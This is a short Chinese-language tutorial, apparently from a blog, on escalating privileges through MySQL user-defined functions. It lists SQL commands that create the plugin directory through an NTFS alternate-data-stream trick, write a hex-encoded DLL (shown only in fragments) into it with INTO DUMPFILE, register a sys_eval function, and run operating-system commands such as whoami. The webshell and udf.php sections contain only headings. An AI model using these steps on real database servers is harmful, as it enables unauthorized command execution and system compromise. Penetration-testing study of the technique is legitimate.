mysql udf提权

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充。原理是添加一个能执行系统命令的函数。   前提 secure_file_priv为空,支持导入导出 show global variables like 'secure%';   一、导入udf.dll
  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
  • 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
只能执行sql语句环境下,创建plugin目录的方式
select @@basedir; //查找到mysql的目录 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录

 

 

  手工导入
create table temp(data longblob); 
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000); 
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); 
select data from temp into dumpfile "G:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll"; 
create function sys_eval returns string soname 'udf.dll'; #创建函数sys_eval

 

 

  大马导入   mysql udf提权

 

 


 

 

  udf.php导入 mysql udf提权

 

二、执行命令  
create function sys_eval returns string soname "udf.dll"; 
select sys_eval("whoami");

 



上一篇:关于在hive中使用python做UDF的总结


下一篇:mysql udf提权